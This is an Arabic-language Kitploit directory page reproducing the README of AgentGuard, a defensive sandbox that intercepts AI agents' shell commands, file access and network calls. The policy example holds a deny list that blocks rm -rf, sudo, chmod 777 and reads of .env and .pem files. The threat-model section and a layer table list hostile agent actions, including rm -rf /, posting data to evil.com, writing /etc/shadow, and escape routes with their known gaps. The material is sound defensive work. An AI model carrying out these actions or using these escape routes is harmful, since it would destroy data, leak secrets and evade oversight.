Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
AgentGuard — صندوق رمل (sandbox) بثقة صفرية لوكلاء الذكاء الاصطناعي مع عزل نظام الملفات على مستوى النواة، ووكيل شبكة شفاف، ومحرك سياسات قائم على YAML لاعتراض والتحكم في أوامر الصدفة وعمليات الملفات وطلبات الشبكة. | Kitploit
أدوات/GitHubGitHub/thodoristsampouris/agentguard
أدوات دفاعيةأمن الحاوياتالمحاكاة الافتراضية للأمانأمن الشبكاتأمن الذكاء الاصطناعي
GitHubthodoristsampouris/agentguard

AgentGuard

صندوق رمل (sandbox) بثقة صفرية لوكلاء الذكاء الاصطناعي مع عزل نظام الملفات على مستوى النواة، ووكيل شبكة شفاف، ومحرك سياسات قائم على YAML لاعتراض والتحكم في أوامر الصدفة وعمليات الملفات وطلبات الشبكة.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
8منذ 5 أشهرلم تتم المراجعة بعد

AgentGuard

صندوق رمل (sandbox) بدون ثقة للوكلاء الذكيين المستقلين.

يقوم AgentGuard بتطويق أي وكيل ذكي (LangChain، CrewAI، AutoGen، نصوص خاصة) بحواجز أمان. تغيير بأمر واحد:

root@kitploit:~
# قبل (خطير - الوكيل لديه وصول كامل للنظام)
python my_agent.py

# بعد (داخل صندوق الرمل)
agentguard run -- python my_agent.py

يعترض AgentGuard كل أمر شل، وتعديل ملف، وطلب شبكة يقوم به الوكيل. يتم السماح تلقائياً بالإجراءات الآمنة، وحظر الإجراءات الخطيرة تلقائياً، ويتم عرض باقي الإجراءات على المستخدم للموافقة.

كيف يعمل

يمتلك AgentGuard أربع طبقات دفاعية تعمل معاً:

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│ Layer 0: سجن نظام الملفات (sandbox-exec على macOS)          │
│   تطبيق على مستوى النواة. يقيد كتابات الملفات والشبكة       │
│   على مستوى استدعاءات النظام. لا يمكن للوكيل تجاوزه من      │
│   مساحة المستخدم. يمنع Python's open(), requests.post(), إلخ.│
├─────────────────────────────────────────────────────────────┤
│ Layer 1: وكيل الشبكة                                        │
│   وكيل HTTP/HTTPS شفاف. يتم فحص كل استدعاء شبكي يقوم به    │
│   الوكيل مقابل السياسة. السماح/المنع لكل وجهة مع رؤية كاملة  │
│   في واجهة المستخدم النصية (TUI).                            │
├─────────────────────────────────────────────────────────────┤
│ Layer 2: واجهات PATH الوهمية                                 │
│   نصوص شل وهمية تعترض الأوامر مثل git, pip, curl, rm.       │
│   كل وهمية تطلب الإذن من الخفي (daemon) قبل تشغيل         │
│   الثنائي الحقيقي.                                          │
├─────────────────────────────────────────────────────────────┤
│ Layer 3: محرك السياسات + خفي الموافقة                        │
│   قواعد مبنية على YAML تقيم كل إجراء معترض.                 │
│   السماح تلقائياً بالأوامر الآمنة، حظر الخطيرة تلقائياً،     │
│   وعرض الباقي على المستخدم للموافقة.                         │
└─────────────────────────────────────────────────────────────┘

لا توجد طبقة واحدة هي الحدود الأمنية. تعمل معاً - دفاع متعمق.

بداية سريعة

البناء

root@kitploit:~
go build -o agentguard ./cmd/agentguard/
go build -o agentguard-check ./cmd/agentguard-check/

يجب أن يكون كلا الثنائيين في نفس المجلد.

إنشاء سياسة

root@kitploit:~
agentguard init

ينشئ هذا ملف .agentguard/policy.yaml في المجلد الحالي. قم بتعديله ليناسب احتياجاتك.

تشغيل وكيل (واجهة مستخدم نصية تفاعلية TUI)

root@kitploit:~
agentguard run -- python my_agent.py

تتولى واجهة TUI شاشة الطرفية وتعرض:

  • تيار النشاط المباشر (كل إجراء معترض)
  • طلبات الموافقة للأوامر الغامضة (اضغط Y/N/A/B)
  • أحداث السماح/المنع للشبكة من الوكيل
  • أحداث انتهاكات صندوق الرمل
  • الإخراج القياسي/الخطأ للوكيل (التبديل باستخدام Tab)

تشغيل وكيل (بدون رأس)

للأدوات التفاعلية مثل Claude Code التي تحتاج الطرفية:

root@kitploit:~
agentguard run --headless -- claude

يحصل الوكيل على الطرفية مباشرة. يعمل AgentGuard بصمت في الخلفية. يتم تسجيل جميع الأحداث في ~/.agentguard/logs/headless.log. راقب في طرفية أخرى:

root@kitploit:~
tail -f ~/.agentguard/logs/headless.log

مرجع سطر الأوامر

root@kitploit:~
agentguard run [flags] -- <command> [args...]
    --policy <path>     استخدام ملف سياسة محدد
    --headless          لا TUI - الوكيل يحصل على الطرفية
    --default-allow     السماح تلقائياً بقرارات PROMPT في الوضع بدون رأس (افتراضياً: منع تلقائي)
    --no-sandbox        تعطيل sandbox-exec (الوهميات والوكيل لا يزالان نشطين)

agentguard init         إنشاء ملف سياسة افتراضي
agentguard version      طباعة الإصدار

ملف السياسة

السياسات هي ملفات YAML تحدد ما يمكن للوكيل فعله وما لا يمكنه فعله. يتحقق AgentGuard من ثلاثة مواقع (بالترتيب):

  1. ./.agentguard/policy.yaml (محلي للمشروع)
  2. ~/.agentguard/policy.yaml (عام للمستخدم)
  3. الإعدادات الافتراضية المضمنة

مثال على سياسة

root@kitploit:~
version: 1

deny:
  # منع الأوامر الخطيرة
  - command: "rm"
    args: "-rf *"
    reason: "الحذف المتكرر القسري خطير جداً"
  - command: "sudo"
    args: "*"
    reason: "رفع الصلاحيات غير مسموح به"
  - command: "chmod"
    args: "777 *"
    reason: "الأذونات القابلة للكتابة عالمياً خطيرة"

  # منع قراءة الملفات الحساسة (يتم تطبيقه بواسطة sandbox-exec)
  - file:
      path: "*.env"
      action: "read"
      reason: "لا تدع الوكيل يقرأ ملفات .env"
  - file:
      path: "*.pem"
      action: "read"
      reason: "لا تدع الوكيل يقرأ المفاتيح الخاصة"

allow:
  # أوامر آمنة للقراءة فقط
  - command: "ls"
  - command: "cat"
  - command: "pwd"
  - command: "echo"
  - command: "grep"
  - command: "head"
  - command: "tail"
  - command: "wc"

  # git للقراءة فقط
  - command: "git"
    args: "status"
  - command: "git"
    args: "log *"
  - command: "git"
    args: "diff *"

  # السماح بالكتابة إلى مساحة العمل
  - file:
      path: "/tmp/workspace/**"
      action: "write"

  # السماح بنقاط نهاية API محددة
  - network:
      destination: "api.anthropic.com:443"
  - network:
      destination: "api.github.com:443"

ترتيب تقييم القاعدة

  1. قواعد المنع المحددة - يتم فحصها أولاً. إذا تم التطابق، يتم حظر الإجراء فوراً.
  2. قواعد السماح - يتم فحصها ثانياً. إذا تم التطابق، يُسمح بالإجراء.
  3. قواعد المنع الشاملة (مثل deny network *) - يتم فحصها ثالثاً. تعمل كمنع افتراضي.
  4. لا تطابق - يتم عرض الطلب على المستخدم (TUI) أو المنع التلقائي (بدون رأس).

أنواع القواعد

قواعد الأوامر - تطابق أوامر الشل بالاسم ونمط الوسيطات:

root@kitploit:~
- command: "git"
  args: "push *"
  reason: "الدفع يتطلب موافقة"

قواعد الملفات - تطابق عمليات الملفات (يتم تطبيقها بواسطة sandbox-exec):

root@kitploit:~
- file:
    path: "*.env"
    action: "read"     # "read" أو "write"
    reason: "حماية الأسرار"

قواعد الشبكة - تطابق وجهات الشبكة (يتم تطبيقها بواسطة الوكيل + sandbox-exec):

root@kitploit:~
- network:
    destination: "api.anthropic.com:443"

استخدم * كحرف بدل في وسيطات الأوامر ومسارات الملفات ووجهات الشبكة.

عناصر تحكم TUI

ما تلتقطه كل طبقة

البنية

root@kitploit:~
agentguard/
├── cmd/
│   ├── agentguard/              # الثنائي الرئيسي لواجهة CLI
│   └── agentguard-check/        # الثنائي المساعد للوهميات
├── internal/
│   ├── policy/                  # محرك السياسات (تحليل YAML، تقييم القواعد)
│   ├── events/                  # نظام الأحداث (سجل تدقيق JSONL، نشر/اشتراك)
│   ├── daemon/                  # خفي مركزي (مقبس Unix، قائمة انتظار الموافقة)
│   │   └── client/              # مكتبة العميل للوهميات
│   ├── shim/                    # مولد الوهميات (اعتراض قائم على PATH)
│   ├── proxy/                   # وكيل شبكة شفاف
│   ├── spawner/                 # التنسيق + تكامل صندوق رمل macOS
│   └── ui/tui/                  # واجهة المستخدم النصية (Bubble Tea)
├── configs/
│   └── default_policy.yaml      # ملف سياسة مرجعي
├── .gitignore
├── go.mod
├── LICENSE
└── README.md

نظرة عامة على المكونات

سجل التدقيق

يتم تسجيل كل إجراء معترض في ~/.agentguard/logs/YYYY-MM-DD.jsonl:

root@kitploit:~
{"id":"a1b2c3","timestamp":"2026-03-22T14:30:00Z","session_id":"abc123","source":"shim","command":"git","args":["push","origin","main"],"decision":"deny","decided_by":"human","response_time_ms":3200}
{"id":"d4e5f6","timestamp":"2026-03-22T14:30:01Z","session_id":"abc123","source":"proxy","network_dst":"api.anthropic.com:443","decision":"allow","decided_by":"policy"}

استعلام باستخدام الأدوات القياسية:

root@kitploit:~
# جميع الإجراءات الممنوعة اليوم
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decision == "deny")'

# جميع طلبات الشبكة
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.source == "proxy")'

# الأوامر التي تطلبت موافقة بشرية
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decided_by == "human")'

دعم المنصات

نموذج الأمان

نموذج التهديد: الوكيل غير موثوق. قد يحاول:

  • تنفيذ أوامر خطيرة (rm -rf /, sudo)
  • تسريب البيانات عبر استدعاءات الشبكة
  • قراءة ملفات حساسة (.env، مفاتيح خاصة)
  • تجاوز صندوق الرمل عبر مسارات مطلقة، واجهات برمجية أصلية للغة، أو التلاعب بالبيئة

ما يمنعه AgentGuard:

  • يتم اعتراض أوامر الشل بواسطة الوهميات وتقييمها بواسطة السياسة
  • يتم توجيه استدعاءات الشبكة عبر الوكيل وتصفيتها حسب الوجهة
  • يتم تقييد كتابات الملفات بواسطة sandbox-exec إلى المجلدات المسموح بها
  • يمكن منع قراءات الملفات لأنماط محددة (.env، .pem، إلخ.)
  • يتم منع التلاعب بالجلسة عبر مقبس الخفي
  • يتم منع حقن الشل في نصوص الوهميات بواسطة التحقق من المدخلات
  • يتم تجريد حقن ANSI في عرض TUI
  • يتم منع التنقل في المسار في قواعد الملفات بواسطة filepath.Clean

ما لا يمنعه AgentGuard (قيود معروفة):

  • استدعاءات النظام الخام عبر ctypes/cffi (يقوم sandbox-exec بمنعها أيضاً على macOS)
  • استغلال النواة (يتطلب صلاحيات جذر، نفس حدود الثقة مثل أي تطبيق)
  • تسريب البيانات عبر وجهات الشبكة المسموح بها (إذا سمحت بـ api.anthropic.com، يمكن للوكيل إرسال البيانات إليها)
  • قراءة الملفات غير المدرجة في قائمة المنع (نسمح بجميع القراءات باستثناء الأنماط الممنوعة صراحة)

التطوير

تشغيل الاختبارات

root@kitploit:~
go test ./... -race

تغطية الاختبارات

يحتوي المشروع على أكثر من 140 اختباراً تغطي:

  • تقييم السياسات (مطابقة glob، دمج القواعد، منع التنقل في المسار)
  • تسجيل الأحداث (تنسيق JSONL، التدوير اليومي، الكتابات المتزامنة، النشر/الاشتراك)
  • الخفي (اتصال المقبس، قائمة انتظار الموافقة، إدارة الجلسات، المهلات)
  • TUI (معالجة لوحة المفاتيح، عرض الأحداث، تعقيم ANSI)
  • إنشاء الوهميات (منع حقن الشل، التحقق من المسار)
  • وكيل الشبكة (السماح/المنع، تسجيل الأحداث)
  • اختبارات التكامل (التدفق الكامل من البداية إلى النهاية)
  • صندوق رمل macOS (إنشاء ملفات التعريف، تنفيذ sandbox-exec الحقيقي)

علامات البناء

  • jail_darwin.go — sandbox-exec خاص بـ macOS (يتم ترجمته فقط على macOS)
  • jail_noop.go — وضع الوهميات فقط الاحتياطي (يتم ترجمته على Linux/Windows)
  • sandbox_monitor_darwin.go — تتبع سجل النظام في macOS لانتهاكات صندوق الرمل
  • sandbox_monitor_noop.go — عملية فارغة على المنصات غير macOS

الترخيص

انظر LICENSE.

تنزيل الأداة
المفتاحالإجراءمتى
Yالسماح بالطلب المعلقطلب الموافقة مرئي
Nرفض الطلب المعلقطلب الموافقة مرئي
Aالسماح + التذكر لهذه الجلسة ("السماح دائماً")طلب الموافقة مرئي
Bالرفض + التذكر لهذه الجلسة ("الحظر للأبد")طلب الموافقة مرئي
Tabتبديل لوحة الإخراج القياسي/الخطأ للوكيلدائماً
Up/Downالتمرير في تيار النشاطدائماً
Qالخروج (يقتل الوكيل)دائماً
إجراء الوكيلالوهمياتالوكيلsandbox-exec
subprocess.run(["rm", "-rf", "/"])نعم--
subprocess.run(["git", "push"])نعم--
requests.post("https://evil.com")-نعمنعم
urllib.request.urlopen("https://api.com")-نعمنعم
open(".env", "r")--نعم
open("/etc/shadow", "w")--نعم
/usr/bin/curl https://evil.com (مسار مطلق)-نعمنعم
المكونالحزمةالغرض
محرك السياساتinternal/policyتحليل قواعد YAML، تقييم الطلبات → ALLOW / DENY / PROMPT
نظام الأحداثinternal/eventsسجل تدقيق JSONL للإلحاق فقط + نشر/اشتراك فوري لـ TUI
الخفيinternal/daemonخادم مقبس Unix، قائمة انتظار موافقة مع مهلات، إدارة الجلسات
TUIinternal/ui/tuiواجهة مستخدم نصية Bubble Tea مع تيار نشاط ونافذة موافقة
مولد الوهمياتinternal/shimيولد نصوص شل وهمية، يحل مسارات الثنائيات الحقيقية
وكيل الشبكةinternal/proxyوكيل HTTP/HTTPS شفاف يطبق سياسة لكل وجهة
المنسقinternal/spawnerينسق كل شيء: السياسة → الخفي → الوهميات → الوكيل → صندوق الرمل → الوكيل → TUI
صندوق رمل macOSinternal/spawner/jail_darwin.gosandbox-exec مع ملفات تعريف Seatbelt للتطبيق على مستوى النواة
المنصةالوهمياتالوكيلsandbox-execمنع قراءة الملفات
macOS (Apple Silicon)نعمنعمنعمنعم
macOS (Intel)نعمنعمنعمنعم
Linuxنعمنعملا (مستقبلاً: مساحات الأسماء + seccomp)لا
Windowsنعمنعملا (مستقبلاً: Job Objects)لا